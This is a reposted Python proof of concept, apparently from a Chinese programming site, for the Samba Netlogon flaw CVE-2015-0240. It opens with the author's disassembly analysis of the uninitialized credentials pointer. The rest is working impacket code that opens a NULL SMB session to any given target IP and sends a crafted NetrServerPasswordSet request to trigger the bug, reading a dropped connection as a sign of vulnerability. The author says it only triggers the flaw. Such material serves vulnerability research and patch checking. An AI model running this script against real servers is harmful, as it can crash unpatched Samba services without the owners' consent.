您的位置:首页 > 编程语言

samba 最新漏洞代码POC

2015-06-03 15:20 531 查看
#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ 
#################
Analysis of samba-3.6.9-164.el6.i686 on centos6
#################

The _netr_ServerPasswordSet() function is called from api_netr_ServerPasswordSet()
function in "librpc/gen_ndr/srv_netlogon.c".

When looking in to assembly (comparing to source code) of
_netr_ServerPasswordSet function, the creds address is "ebp-0x1c".

00298c10 <_netr_ServerPasswordSet>:
298c10:       55                      push   %ebp
298c11:       89 e5                   mov    %esp,%ebp
...
298c40:       e8 eb 30 e7 ff          call   10bd30 <become_root>
...
298c4e:       8d 45 e4                lea    -0x1c(%ebp),%eax  ; creds address (ebp-0x1c, value is 0x40)
298c51:       89 44 24 10             mov    %eax,0x10(%esp)   ; pass creds to netr_creds_server_step_check()
...
298c78:       e8 a3 cd ff ff          call   295a20 <_netr_GetDcName+0x280> ; netr_creds_server_step_check
...
298c83:       e8 78 2f e7 ff          call   10bc00 <unbecome_root>

Running the PoC against samba-3.6.9 on centos6 x86, the creds value in
_netr_ServerPasswordSet() function is always 0x40. To tracking the uninitialized
value of creds, I check the source in api_netr_ServerPasswordSet() function.
I found the call to talloc_zero() function before calling to _netr_ServerPasswordSet()
function.

r->out.return_authenticator = talloc_zero(r, struct netr_Authenticator);
if (r->out.return_authenticator == NULL) {
talloc_free(r);
return false;
}

r->out.result = _netr_ServerPasswordSet(p, r);

I checked the assembly of _talloc_zero() function. The "ebp+0x1c" is set inside
this function. After tracking define and use, the value at "ebp+0x1c" is computed
from 2nd argument of _talloc_zero().

00004ae0 <_talloc_zero>:
4ae0:       55                      push   %ebp
4ae1:       89 e5                   mov    %esp,%ebp
...
4afa:       8b 7d 0c                mov    0xc(%ebp),%edi  ; 2nd argument to edi
...
4b41:       8d 77 3f                lea    0x3f(%edi),%esi
4b44:       83 e6 f0                and    $0xfffffff0,%esi
4b47:       89 75 e4                mov    %esi,-0x1c(%ebp) ; same stack address as creds

The 2nd arguemnt of _talloc_zero() function is 'size'. The size value is
sizeof(struct netr_Authenticator), which is 0xc bytes. That's why the uninitialized
value of creds in _netr_ServerPasswordSet() function is always 0x40 on centos6.

So code execution seems to be impossible for me on centos6 samba-3.6.9-164.el6.i686.

#################

"""

import sys

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL

if len(sys.argv) < 2:
print("Usage: {} <target_ip>".format(sys.argv[0]))
sys.exit(1)

target = sys.argv[1]

username = ''
password = ''

###
# impacket does not implement NetrServerPasswordSet
###
from impacket.dcerpc.v5.dtypes import *

# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)

class NetrServerPasswordSetResponse(NDRCALL):
structure = (
('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode',NTSTATUS),
)

nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

###
# connect to target
###
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % target)
rpctransport.set_credentials('','')  # NULL session
rpctransport.set_dport(445)
# impacket has a problem with SMB2 dialect against samba4
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)

###
# request for session key
###
#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
#resp.dump()
#serverChallenge = resp['ServerChallenge']
#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
sessionKey = '\x00'*16

###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10

uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16

request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = username+'\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = target+'\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass

DCERPCSessionError = nrpc.DCERPCSessionError
try:
resp = dce.request(request)
print("no error !!! error code: 0xc0000225 is expected")
print("seems not vulnerable")
#resp.dump()
dce.disconnect()
except DCERPCSessionError as e:
# expect error_code: 0xc0000225 - STATUS_NOT_FOUND
print("seems not vulnerable")
#resp.dump()
dce.disconnect()
except impacket.nmb.NetBIOSError as e:
if e.args[0] == 'Error while reading from remote':
print("connection lost!!!\nmight be vulnerable")
else:
raise
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  smb